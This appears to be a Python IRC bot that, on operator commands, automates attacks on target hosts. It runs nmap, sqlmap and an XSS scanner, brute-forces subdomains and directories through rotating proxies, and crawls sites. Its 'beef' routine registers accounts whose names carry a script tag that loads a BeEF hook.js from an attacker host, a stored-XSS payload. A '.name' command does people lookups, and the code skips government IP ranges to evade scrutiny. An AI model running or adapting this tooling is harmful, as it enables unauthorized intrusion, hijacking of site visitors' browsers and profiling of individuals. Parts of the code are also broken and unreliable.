#!/usr/bin/env python
import random
import socket
import ssl
import threading
import time
import string
import os
import sys
import re
import requests
import subprocess
import urllib.request
import urllib.parse
import queue
agora = 'agora.anarplex.net'
agorap = 14716
local = '127.0.0.1'

# Connection
server   = local
port     = 6667
use_ipv6 = False
use_ssl  = False
vhost    = None
password = None
channel  = '#dev'
key = None
# Other
concurrent = 1
#homies     = (' ',' ',' ')
nickserv   = None
message    = ''
command = []
bot_nick = ('kevasu')


spooky   = ('11','21','22','24','25','26','29','49','50','55','62','64','128','129','130','131','132','134','136','137','138','139','140','143','144','146','147','148','150','152','153','155','156','157','158','159','161','162','163','164','167','168','169','194','195','199','203','204','205','207','208','209','212','213','216','217','6','7')
reserved = ('0','10','100.64','100.65','100.66','100.67','100.68','100.69','100.70','100.71','100.72','100.73','100.74','100.75','100.76','100.77','100.78','100.79','100.80','100.81','100.82','100.83','100.84','100.85','100.86','100.87','100.88','100.89','100.90','100.91','100.92','100.93','100.94','100.95','100.96','100.97','100.98','100.99','100.100','100.101','100.102','100.103','100.104','100.105','100.106','100.107','100.108','100.109','100.110','100.111','100.112','100.113','100.114','100.115','100.116','100.117','100.118','100.119','100.120','100.121','100.122','100.123','100.124','100.125','100.126','100.127','127','169.254','172.16','172.17','172.18','172.19','172.20','172.21','172.22','172.23','172.24','172.25','172.26','172.27','172.28','172.29','172.30','172.31','172.32','192.0.0','192.0.2','192.88.99','192.168','198.18','198.19','198.51.100','203.0.113','224','225','226','227','228','229','230','231','232','233','234','235','236','237','238','239','240','241','242','243','244','245','246','247','248','249','250','251','252','253','254','255')

CHAR_UP = ['\u030D', '\u030E', '\u0304', '\u0305', '\u033F',
           '\u0311', '\u0306', '\u0310', '\u0352', '\u0357',
           '\u0351', '\u0307', '\u0308', '\u030A', '\u0342',
           '\u0343', '\u0344', '\u034A', '\u034B', '\u034C',
           '\u0303', '\u0302', '\u030C', '\u0350', '\u0300',
           '\u0301', '\u030B', '\u030F', '\u0312', '\u0313',
           '\u0314', '\u033D', '\u0309', '\u0363', '\u0364',
           '\u0365', '\u0366', '\u0367', '\u0368', '\u0369',
           '\u036A', '\u036B', '\u036C', '\u036D', '\u036E',
           '\u036F', '\u033E', '\u035B', '\u0346', '\u031A']

CHAR_MID = ['\u0315', '\u031B', '\u0340', '\u0341', '\u0358',
            '\u0321', '\u0322', '\u0327', '\u0328', '\u0334',
            '\u0335', '\u0336', '\u034F', '\u035C', '\u035D',
            '\u035E', '\u035F', '\u0360', '\u0362', '\u0338',
            '\u0337', '\u0361', '\u0489']

CHAR_DOWN = ['\u0316', '\u0317', '\u0318', '\u0319', '\u031C',
             '\u031D', '\u031E', '\u031F', '\u0320', '\u0324',
             '\u0325', '\u0326', '\u0329', '\u032A', '\u032B',
             '\u032C', '\u032D', '\u032E', '\u032F', '\u0330',
             '\u0331', '\u0332', '\u0333', '\u0339', '\u033A',
             '\u033B', '\u033C', '\u0345', '\u0347', '\u0348',
             '\u0349', '\u034D', '\u034E', '\u0353', '\u0354',
             '\u0355', '\u0356', '\u0359', '\u035A', '\u0323']

def debug(msg):
    print('{0} | [~] - {1}'.format(get_time(), msg))



def error(msg, reason=None):
    if reason:
        print('{0} | [!] - {1} ({2})'.format(get_time(), msg, str(reason)))
    else:
        print('{0} | [!] - {1}'.format(get_time(), msg))

def get_time():
    return time.strftime('%I:%M:%S')

def random_int(min, max):
    return random.randint(min, max)

def random_vowel(size):
    return ''.join(random.choice('ai') for _ in range(size))

def random_consonant(size):
    return ''.join(random.choice('rpz') for _ in range(size))


def check_ip(ip):
    return re.match('^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$', ip)

class scan(threading.Thread):
    def __init__(self, ip,command,sendmsg):
        self.ip       = ip
        self.command  = command
        self.sendmsg  = sendmsg
        self.bot_nick = bot_nick
        self.timeouts = 0
        threading.Thread.__init__(self)
    def run(self):
        self.scanstart()
    def scanstart(self):
        fip = self.ip.replace(".","-")
        dirb = 0
        nikto = 0
        nmap = 0
        shuriken = 0
        xsser = 0
        nmap_file = 0
        nmap_scan           = fip+"_nmap.xml"
        sqlout              = fip+"_sqlmap_out.txt"
        if os.path.isfile(nmap_scan):
            pass
            d = []
            q = []
            m = []
            count = 0
            with open(nmap_scan) as scan:
                for line in scan:
                    if('state state="open"' in line):
                        count += 1
                        line  = line.split('portid="')[-1]
                        prt = line.split('"')[0]
#                        ##for bot_nick in self.bot_nick:
#                        self.sendmsg(channel,"PORT: "+prt)
                        ver = line
                        ver1 = ver.split('version="')[-1]
                        version = ver1.split('"')[0]
#                        #for bot_nick in self.bot_nick:
#                        self.sendmsg(channel,'VERSION: '+version)
                        pro = line
                        pro1 = pro.split('product="')[-1]
                        prdct = pro1.split('"')[0]
                        product = prdct
#                        #for bot_nick in self.bot_nick:
#                        self.sendmsg(channel,'PRODUCT: '+product)
                        nm = line
                        nm1 = nm.split('name="')[-1]
                        name = nm1.split('"')[0]
#                        #for bot_nick in self.bot_nick:
#                        self.sendmsg(channel,'NAME: '+name)
                        s = ' '+str(count)+(' : PORT: '+prt+'\n     NAME: '+name+'\n     PRODUCT: '+product+'\n     VERSION: '+version.format(count))
                        p = {
		                      s+' '+product
                        }
                        d += p
                        b = {
                            product.replace(" httpd","")+' '+version[0:3]
                        }
                        q += b
                        w = {
                            prt
                        }
                        m += w
                    self.subdomain()
#                    self.crawl()
#                    self.dirscan()
                    if os.path.isfile("../.sqlmap/output/"+ip+"/log"):
                        pass
                    else:
                        self.sqlcheck(dirbf)
                return
        else:
            nmap = 1
            self.subdomain()
            self.crawl()
#            self.dirscan()
#            self.execute(nmap,nmap_scan,shuriken)
            return

    def sqlcheck(self,dscan):
        self.sendmsg(channel,"Checking for php parameters")
        with open(dscan) as df:
            for line in df:
                if ('index.php?') in line:
                    l3 = line+'=asd'
                    self.sendmsg(channel, l3)
                    global cmd
                    cmd = subprocess.Popen(['sqlmap','--threads','10','--level','3','--batch','--forms','--disable-coloring','--dbms','mysql','-u',l3], stdout=subprocess.PIPE)
                    self.exec_output(cmd)

    def shuriken_check(self,line):
        l2 = line
        global cmd
        cmd = subprocess.Popen(['../shuriken/shuriken_xss.py','-u',l2,'-p',"./XSS_payloads/XSS.txt"],stdout=subprocess.PIPE)
        while True:
            output = cmd.stdout.readline()
            if output == '' and cmd.poll() is not None:
                break
            if output:
                out = output.strip()
                out = out.decode('utf-8')
                if '94m' in out:
                    #for bot_nick in self.bot_nick:
                    self.sendmsg(channel,out)
            else:
                break
        rc = cmd.poll()

    def dirscan(self):
        wlst = './SecLists/Discovery/Web_Content/common.txt'
        if os.path.isfile('./dirs.txt'):
            os.remove('./dirs.txt')

        def recurse(directory,wlst):
            dirscanf = './dirs.txt'
            df = open(dirscanf,'a')
            with open(wlst, encoding="ISO-8859-1") as wl:
                for line in wl:
                    url = directory[:-2]+'/'+line
                    req = urllib.request.Request(url)
                    try:
                        conn = urllib.request.urlopen(req)
                    except urllib.error.HTTPError as e:
                        pass
                    except urllib.error.URLError as e:
                        pass
                    except UnicodeEncodeError as e:
                        pass
                    else:
                        df.write(url)
                        self.sendmsg(channel, '200 OK '+url)

        dirscanf = './dirs.txt'
        df = open(dirscanf,'a')
        proxylist = './proxies.txt'
        urls = []
        self.sendmsg(channel,"COMBINING PROXIES WITH URLS, PLEASE WAIT")
        with open(wlst, encoding="ISO-8859-1") as wl:
            for line in wl:
                url = 'http://'+self.ip+'/'+line.rstrip('\n')
                urls.append(url)

        proxyl = []
        with open(proxylist) as pl:
            for proxy in pl:
                    proxyl.append(proxy.rstrip('\n'))
        input_queue  = queue.Queue()
        url_queue    = queue.Queue()
        result_queue = queue.Queue()
        threads = []
        urlp = []
        urlload =[]
        proxylist = []
        random.shuffle(urls)
        for i in range(len(urls)):
            url = urls[i]
            urlload.append(url)
            url_queue.put(url)
        random.shuffle(proxyl)
        input_queue.put(proxyl)
        t = scanurl(input_queue,url_queue,self.sendmsg)
        threads.append(t)
        ucount = len(proxy)*len(urlload)
        self.sendmsg(channel,"PROXY/URL COUNT IS: "+str(ucount))
        t.start()
        t.join()

        '''
                req = urllib.request.Request(url)
                try:
                    conn = urllib.request.urlopen(req)
                except urllib.error.HTTPError as e:
                    pass
                except urllib.error.URLError as e:
                    pass
                except UnicodeEncodeError as e:
                    pass
                else:
                    if '/' in line[-2:]:
                        directory = 'http://'+self.ip+'/'+line
                        self.sendmsg(channel, 'FOLLOWING '+url)
                        recurse(directory,wlst)
                    else:
                        df.write(url)
                        self.sendmsg(channel, '200 OK '+url)
        df.close
        beef(self.sendmsg).start()
        '''

    def execute(self,nmap,nmap_scan,shuriken):
        if nmap == 1:
            global cmd
            self.sendmsg(channel,self.ip)
            cmd = subprocess.Popen(['sudo','nmap','-v','-v','-v','-v','-O','-T5','-sV','--version-light','-oX',nmap_scan,self.ip],stdout=subprocess.PIPE)
            self.exec_output(cmd)
        else:
            pass

    def exec_output(self,cmd):
        while True:
            output = cmd.stdout.readline()
            if output == '' and cmd.poll() is not None:
                break
            if output:
                out = output.strip()
                out = out.decode('utf-8')
                out = out.replace('..."','')
                #for bot_nick in self.bot_nick:
                self.sendmsg(channel,out)
            else:
                break
        rc = cmd.poll()

    def subdomain(self):
        url = self.ip
        hostwl = '../hostnames.txt'
        hostnames = []
        proxylist = 'proxies.txt'
        proxies = []
        with open(proxylist) as pl:
            for line in pl:
                proxies.append(line.rstrip("\n"))
        with open(hostwl) as hw:
            for line in hw:
                hostnames.append(line.rstrip("\n"))
        for host in hostnames:
            for proxy in proxies:
                try:
                    u = 'http://'+host+'.'+url
                    s = requests.Session()
                    s.proxies = {'http': 'http://'+proxy}
                    s.headers = requests.utils.default_headers()
                    s.headers.update = {
                    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'
                    }
                    a = s.head(u, timeout=2)
                    status = str(a.status_code)
                    clen = a.headers.get('content-length')
                    print("LENGTH: "+clen)
                    print(u+'    '+'http://'+proxy+'  '+str(a.status_code))
                    if status == '200':
                        c = requests.get(u, timeout=15)
                        print(c)
                        self.sendmsg(channel, status+' '+u+' '+"LENGTH: "+clen)
                        break
                    else:
                        pass
                except:
                    pass

class httpcrawl(threading.Thread):
    def __init__(self,sendmsg,command):
        threading.Thread.__init__(self)
        self.sendmsg = sendmsg
        self.ip = command
    def run(self):
        self.crawl()

    def crawl(self):
        def depth1(stop_event,tasks,):
            urllist = []
            while not stop_event:
                links = []
                with open('linklist.txt') as ll:
                    for link in ll:
                        print(link)
                        links.append(link.rstrip("\n"))
                for link in links:
                    for task in tasks:
                        random.shuffle(tasks)
                        prox = task
                        try:
                            proxy = urllib.request.ProxyHandler({'http': 'http://'+prox})
                            opener = urllib.request.build_opener(proxy)
                            opener.addheaders = [('User-Agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.1 Safari/603.1.30')]
                            urllib.request.install_opener(opener)
                            self.sendmsg(channel,"Getting URL: "+link+" @ "+task)
                            html = urllib.request.urlopen(link,timeout=15).read().decode("utf-8")
                            if len(html) == 0:
                                pass
                            else:
                                urllist.append(html)
                                self.sendmsg(channel, "SUCCESS")
                                filename = link.replace("/","_")
                                directory = self.ip.replace(".","-")
                                print(directory)
                                if not os.path.exists(directory):
                                    os.makedirs(directory)
                                    print(directory+" made")
                                else:
                                    la = open("./"+directory+"/"+filename,'a')
                                    for items in urllist:
                                        la.write(items)
                                    la.close()

                                break
                        except urllib.error.HTTPError as e:
                            print(e)
                            pass
                        except urllib.error.URLError as e:
                            print(e)
                            pass
                        except:
                            print("ERROR")
                        break
        def crawler(stop_event,tasks):
            while not stop_event:
                for task in tasks:
                    random.shuffle(tasks)
                    self.sendmsg(channel, "Trying "+task)
                    prox = task
                    try:
                        urls = []
                        url = 'http://'+self.ip
                        proxy = urllib.request.ProxyHandler({'http': 'http://'+prox})
                        opener = urllib.request.build_opener(proxy)
                        opener.addheaders = [('User-Agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.1 Safari/603.1.30')]
                        urllib.request.install_opener(opener)
                        depth = re.findall(r"""<\s*a\s*href=["']([^=]+)["']""", urllib.request.urlopen(url,timeout=15).read().decode("utf-8"))
                        urllist = []
                        if len(depth) == 0:
                            print(" no html")
                        else:
                            for line in depth:
                                if line.startswith('/'):
                                    l = url+line
#                                    print(l)
                                    urls.append(l)
                                else:
                                    pass
                            print("Ending thread for "+url+' @ '+task)
                            stop_event.append(True)
                            stop(stop_event,urls,urllist)

                    except urllib.error.HTTPError as e:
                        print(e)
                        break
                    except urllib.error.URLError as e:
                        print(e)
                        break
                    except:
                        break
                    break

        def stop(stop_event,urls,urllist):
            links = set(urls)
            alinks = set(urllist)
            count = 0
            if os.path.isfile('linklist.txt'):
                os.remove('linklist.txt')
            else:
                pass
            ll = open('linklist.txt','a')
            for url in links:
                print(url)
                ll.write(url+'\n')
            ll.close
            ll = open('linklistall.txt','a')
            for url in alinks:
                print(url)
                ll.write(url+'\n')
            ll.close
            while count < 10:
                for url in links:
                    count += 1
                    self.sendmsg(channel, url)
                    if count == 10:
                        return count
                    else:
                        pass
            count = 0
            while count < 10:
                for url in alinks:
                    count += 1
                    self.sendmsg(channel, url)
                    if count == 10:
                        return count
                    else:
                        pass
            if len(urls) == 0:
                stop_event.append(False)
                thread_gen(stop_event, tasks)
            else:
                stop_event.append(True)
                thread_gen(stop_event, tasks)

        def thread_gen(stop_event, tasks):
            crawler(stop_event,tasks)

        tasks = []
        with open('proxies.txt') as pl:
            for line in pl:
                tasks.append(line)
                random.shuffle(tasks)
        stop_event = []
        thread_gen(stop_event, tasks)
        self.sendmsg(channel,"Connection Ended")
        stop_event = []
        depth1(stop_event,tasks)



class scanurl(threading.Thread):
    def __init__(self,task_queue,url_queue,sendmsg):
        threading.Thread.__init__(self)
        self.task_queue = task_queue
        self.url_queue = url_queue
        self.sendmsg = sendmsg
    def run(self):
        found = 0
        task = self.task_queue.get()
        for line in task:
            url = self.url_queue.get()
            print(url+' '+line)
            result = self.urlscan(line,url)

    def urlscan(self,line,url):
        proxy = line
        try:
            s = requests.Session()
            s.proxies = {'http': 'http://'+proxy+':80'}
            s.headers = requests.utils.default_headers()
            s.headers.update = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'
            }
            a = s.head(url, timeout=15)
            status = a.status_code
            clen = a.headers.get('content-length')
            print(str(a.status_code))
            print("LENGTH: "+clen)
            print(url+'    '+'http://'+proxy+'  '+str(a.status_code))
            if 'content-length' in a.headers:
                print(str(a.status_code))
                print("LENGTH: "+clen)
                self.sendmsg(channel,url)
                self.sendmsg(channel,' VIA     '+proxy)
                self.sendmsg(channel,' CODE:   '+str(a.status_code))
                self.sendmsg(channel,' LENGTH: '+clen)
                c = requests.get(url, timeout=15)
                self.sendmsg(channel, c)
                print(c)
                url = self.url_queue.get()
            else:
                print(str(a.status_code))
        except:
            pass

class xsscrawl(threading.Thread):
    def __init__(self,sendmsg):
        self.dirscanf = './dirs.txt'
        self.sendmsg  = sendmsg
        threading.Thread.__init__(self)
    def run(self):
        self.xsser()
    def xsser(self):
        with open(self.dirscanf) as df:
            for line in df:
                if ('index.php?') in line:
                    time.sleep(1)
                    print(line)
                    '''
                    l = line
                    cmd = subprocess.Popen(['xsser','--follow-redirects','--auto','--threads','20','--all',l],stdout=subprocess.PIPE)
                    while True:
                        output = cmd.stdout.readline()
                        if output == '' and cmd.poll() is not None:
                            break
                        if output:
                            out = output.strip()
                            out = out.decode('utf-8')
                            self.sendmsg(channel,out)
                        else:
                            break
                    rc = cmd.poll()
                    '''

class beef(threading.Thread):
    def __init__(self,sendmsg):
        self.dirscanf = './linklist.txt'
        self.sendmsg = sendmsg
        threading.Thread.__init__(self)
    def run(self):
        self.hook()
    def hook(self):
#        self.sendmsg(channel,"PERFORMING BEEF HOOK INJECTION ON REGISTRATION FORM")
        def membercheck():
            with open(self.dirscanf) as df:
                for line in df:
                    if ('members') in line:
                        headers = {}
                        headers['User-Agent'] = "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:48.0) Gecko/20100101 Firefox/48.0"
                        req = urllib.request.Request(line, headers = headers)
                        html = urllib.request.urlopen(req).read().decode('utf-8')
                        s = len(re.findall('hook.js' and 'user-', html))
                        self.sendmsg(channel,str(s)+" hooks found!")

        with open(self.dirscanf) as df:
            for line in df:
                if ('register') in line:
                    print(line)
                    headers = {}
                    headers['User-Agent'] = "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:48.0) Gecko/20100101 Firefox/48.0"
                    req = urllib.request.Request(line, headers = headers)
                    html = urllib.request.urlopen(req).read()
                    html = html.decode('ascii')
                    if 'username' in html:
                        frm = html.split("<form action='")[1]
                        form = frm.split("' method='")[0]
                        print(form)
                    if 'username' in html:
                        usr = html.split("form action")[1]
                        usrn = usr.split("name='")[1]
                        username = usrn.split("'><br")[0]
                        print(username)
                    if ('password') in html:
                        passw = html.split("form action")[1]
                        passwrd = passw.split("type='password' name='")[-1]
                        password = passwrd.split("'><br")[0]
                        print(password)
                    if ('email') in html:
                        em = html.split('form action')[1]
                        ema = em.split("type='register' name='")[-1]
                        email = ema.split("'><br")[0]
                        print(email)
                    baseurl = line.split("register.html")[0]
                    name = random_vowel(random_int(4,5))
                    fishhook = '<script src="http://192.168.110.210:3000/hook.js"></script>'
                    self.sendmsg(channel, "Name is: "+name)
                    passwordin = random_vowel(random_int(8,12))
                    self.sendmsg(channel,"Password is: "+passwordin)
                    emailin = random_vowel(random_int(4,5))+'@'+random_vowel(random_int(4,8))
                    self.sendmsg(channel,"Email is: "+emailin)
                    posturl = baseurl+form
                    postdata = username+name+fishhook+password+passwordin+email+emailin
                    data = urllib.parse.urlencode({username:name+fishhook,password:passwordin,email:emailin}).encode("utf-8")
                    u = urllib.request.urlopen(posturl, data)
                    html = u.read()
                    htmls = html.decode('utf-8')
                    if 'registered' in htmls:
                        self.sendmsg(channel,"XSS SUCCESS")
                    membercheck()

class rarada(threading.Thread):
    def __init__(self,sendmsg):
        threading.Thread.__init__(self)
        self.sendmsg = sendmsg
    def run(self):
        zal = []
        while True:
            random.shuffle(CHAR_UP)
            random.shuffle(CHAR_MID)
            random.shuffle(CHAR_DOWN)
            a = ''.join(CHAR_UP)
            b = ''.join(CHAR_MID)
            c = ''.join(CHAR_DOWN)
            z = c
            self.sendmsg(channel, random_consonant(1)+z+random_vowel(1)+z+random_consonant(1)+z+random_vowel(1)+z+random_consonant(1)+random_vowel(1)+z)
            time.sleep(3600)


class clone(threading.Thread):
    def __init__(self):
        self.server    = server
        self.channel   = channel
        self.port      = port
        self.use_ipv6  = use_ipv6
        self.use_ssl   = use_ssl
        self.vhost     = vhost
        self.password  = password
        self.bot_nick  = bot_nick
        #self.homies    = homies
        self.nickserv  = nickserv
        self.connected = False
        self.sock      = None
        self.message   = message
        threading.Thread.__init__(self)
    def run(self):
        self.connect()
    def connect(self):
        try:
            self.create_socket()
            self.sock.connect((self.server, self.port))
            if self.password:
                self.raw('PASS ' + self.password)
            self.raw('USER {0} 0 * :{1}'.format(random_consonant(1), random_consonant(1)))
            self.nick(random_vowel(random_int(1,3))+random_consonant(2))
        except socket.error as ex:
            error('Failed to connect to IRC server.', ex)
            self.event_disconnect()
        else:
            self.listen()

    def create_socket(self):
        if self.use_ipv6:
            self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
        else:
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        if self.vhost:
            self.sock.bind((self.vhost, 0))
        if self.use_ssl:
            self.sock = ssl.wrap_socket(self.sock)

    def event_connect(self):
        self.connected = True
        self.join_channel(channel, key)
        if self.nickserv:
            self.identify(self.username, self.nickserv)
        new_nick = random_consonant(1)+random_vowel(1)+random_consonant(1)+random_vowel(1)+random_consonant(1)+random_vowel(1)
        self.nick(new_nick)
        self.nickname = new_nick

    def event_disconnect(self):
        self.connected = False
        self.sock.close()

    def event_reconnect(self):
        self.connected = False
        self.sock.close()
        time.sleep(1)
        self.connect()

    def event_invite(self, nick, chan):
        pass

    def event_join(self, nick, chan):
        pass

    def event_kick(self, nick, chan, kicked):
            time.sleep(3)
            self.join_channel(channel, key)


    def event_nick_in_use(self):
        error('The bot is already running or nick is in use.')

    def event_part(self, nick, chan):
        pass

    def event_private(self, nick, msg):
        pass

    def event_quit(self, nick):
        pass

    def handle_events(self, data, bot_nick, command):
        args = data.split()
        if args[0] == 'PING':
            self.raw('PONG ' + args[1][1:])
        elif args[1] == '001': # Use 002 or 003 if you run into issues.
            self.event_connect()
        elif args[1] == '433':
            self.nick(random_consonant(4))
        elif args[1] == 'INVITE':
            nick = args[0].split('!')[0][1:]
            chan = args[3][1:]
            self.event_invite(nick, chan)
        elif args[1] == 'JOIN':
            nick = args[0].split('!')[0][1:]
            chan = args[2][1:]
            self.event_join(nick, chan)
        elif args[1] == 'KICK':
            nick   = args[0].split('!')[0][1:]
            chan   = args[2]
            kicked = args[3]
            self.event_kick(nick, chan, kicked)
        elif args[1] == 'PART':
            nick = args[0].split('!')[0][1:]
            chan = args[2]
            self.event_part(nick, chan)
        elif args[1] == 'PRIVMSG':
            chan = args[2]
            if data.startswith('\001'):
                pass #ctcp event
            elif chan == self.channel:
                tnick = ('kevasu','sunnid')
                nick = args[0].split('!')[0][1:]
                for line in tnick:
                    if nick == line:
                        print(nick)
                        msg = data.split('{args[0]} PRIVMSG {chan} :')[0]
                        self.event_message(msg,nick,channel)
                    else:
                        pass
            else:
                pass
        elif args[1] == 'QUIT':
            nick = args[0].split('!')[0][1:]
            self.event_quit(nick)

    def event_message(self,msg,nick,channel):
        ip = ''
        nmap_file   = 0
        dirb_file   = 0
        nikto_file  = 0
        xsser_file  = 0
        sqlmap_file = 0
        args = msg.split()
        trigger = args[3]
        if ('.help') in trigger != -1:
            menu = [
            "====================",
            "| .nsl      (host) |",
            "| .ip         (ip) |",
            "| .quit            |",
            "| .hook            |",
            "| .join  (channel) |",
            "| .part  (channel) |",
            "| .quit     (quit) |",
            "| .rec (reconnect) |",
            "===================="
            ]
            for line in menu:
                self.sendmsg(channel,line)
        if ('.subd') in trigger != -1:
            command  = msg.split()[4]
            ip = command
            scan(ip,command,self.sendmsg).start()
        if ('.name') in trigger != -1:
            if len(msg.split()[4]) > 0:
                if len(msg.split()[4]) > 0:
                    if len(msg.split()[4]) > 0:
                        import builtins
                        global _f
                        builtins._f = msg.split()[4]
                        f = _f
                        global _l
                        builtins._l = msg.split()[5]
                        l = _l
                        global _c
                        builtins._c = msg.split()[6]
                        c = _c
                        global _s
                        builtins._s = msg.split()[7]
                        s = _s
                        import nuwber
                        nuwber.nuwber()
                        for item in builtins.rows:
                            print(item)
                            self.sendmsg(channel,item)

        if ('.z') in trigger != -1:
            rarada(self.sendmsg).start()
        if ('.nick') in trigger != -1:
            new_nick = random_consonant(1)+random_vowel(1)+random_consonant(1)+random_vowel(1)+random_consonant(1)+random_vowel(1)
            self.nick(new_nick)
            self.nickname = new_nick
        if ('.quit') in trigger != -1:
            self.raw('QUIT ' + "QUIT")
        if ('.join') in trigger != -1:
            channel = msg.split()[4]
            self.raw('JOIN ' + channel)

        if ('part') in trigger != -1:
            chan = msg.split()[4]
            self.raw('PART ' + chan)
        if ('.rec') in trigger != -1:
            self.event_reconnect()

        if ('.crawl') in trigger != -1:
            command  = msg.split()[4]
            httpcrawl(self.sendmsg,command).start()

        if ('.nsl') in trigger != -1:
            command  = msg.split()[4]
            ip = command
            if check_ip(ip):
                scan(ip,command,self.sendmsg).start()
            badtlds = ('gov')
            if command.endswith(badtlds):
                self.sendmsg(channel,nick+" IS A FEDSNITCH")
            else:
                host = command.replace(".","-")
                hostlist = host+"_hostlist.txt"
                if os.path.isfile(hostlist):
                    os.remove(hostlist)
                else:
                    pass
                ht = open(hostlist,'a')
                cmd = subprocess.Popen(['nslookup',command],stdout=subprocess.PIPE)
                while True:
                    output = cmd.stdout.readline()
                    if output == '' and cmd.poll() is not None:
                        break
                    if output:
                        out = output.strip()
                        out = out.decode('utf-8')
                        if 'Address:' in out:
                            ip = out.split("Address: ")[-1]
                            if '#53' not in ip:
                                ht.write(ip+'\r\n')
                            else:
                                pass
                    else:
                        break
                rc = cmd.poll()
                ht.close()
                with open(hostlist) as hl:
                    for hst in hl:
                        line = hst.strip()
                        self.sendmsg(channel,"Added "+line)
                        ipl = line
                ip = command
                scan(ip,command,self.sendmsg).start()
        if ('.rr') in trigger != -1:
            clone().start()

        if ('.stop') in trigger != -1:
            cmd.kill()
        if ('.ip') in trigger != -1:
            command  = msg.split()[4]
            ip = ''.join(command)
            if check_ip(ip):
                scan(ip,command,self.sendmsg).start()
                targets = ip
                found = False
                if found:
                    pass
                for bad_range in spooky + reserved:
                    if ip.startswith(bad_range + '.'):
                        found = True
                        self.sendmsg(channel, 'Spooky/Reserved IP address range.')
                    else:
                        pass
#                        scan(ip,command,self.sendmsg).start()

        if ('.hook') in trigger != -1:
            beef.daemon = True
            beef(self.sendmsg).start()
        if ('.delnmap') in trigger != -1:
            if os.path.isfile(nmap_scan):
                os.remove(nmap_scan)
                #for bot_nick in self.bot_nick:
                self.sendmsg(channel,nmap_scan+" has been removed.")
            else:
                pass
        if ('.delsql') in trigger != -1:
            if os.path.isfile('../.sqlmap/output/"+ip+"/log'):
                os.remove('../.sqlmap/output/"+ip+"/log')
                #for bot_nick in self.bot_nick:
                self.sendmsg(channel,"../.sqlmap/output/"+ip+"/log has been removed.")
            else:
                pass

    def identify(self, username, password):
        self.sendmsg('nickserv', 'identify {0} {1}'.format(username, password))

    def listen(self):
        opt = []
        while True:
            try:
                data = self.sock.recv(1024).decode('utf-8')
                for line in (line for line in data.split('\r\n') if line):
                    debug(line)
                    if line.startswith('ERROR :Closing Link:'):
                        raise Exception('Connection has closed.')
                    elif len(line.split()) >= 2:
                        self.handle_events(line, bot_nick, command)
            except (UnicodeDecodeError,UnicodeEncodeError):
                error('Unicode error has occured.')
                pass
            except Exception as ex:
                error('Unexpected error occured.', ex)
                break
        self.event_disconnect()

    def nick(self, nick):
        self.raw('NICK ' + nick)

    def invite(self, nick, chan):
        self.raw('INVITE {nick} {chan}')

    def join_channel(self, chan, key=None):
        if key:
            self.raw('JOIN {chan} {key}')
        else:
            self.raw('JOIN ' + chan)

    def notice(self, target, msg):
        self.raw('NOTICE {target} :{msg}')

    def oper(self, user, passwd):
        self.raw('OPER {user} {passwd}')

    def part(self, chan, msg=None):
        if msg:
            self.raw('PART {chan} {msg}')
        else:
            self.raw('PART ' + chan)

    def quit(self, msg=None):
        if msg:
            self.raw('QUIT :' + msg)
        else:
            self.raw('QUIT')

    def raw(self, msg):
        self.sock.send(bytes(msg + '\r\n', 'utf-8'))

    def sendmsg(self, target, msg):
        self.raw('PRIVMSG {0} :{1}'.format(target, msg))

for i in range(concurrent):
    if os.path.isfile("/usr/bin/nslookup"):
        pass
    else:
        os.system("sudo apt-get install dnsutils")
    clone().start()
    time.sleep(30)
input('')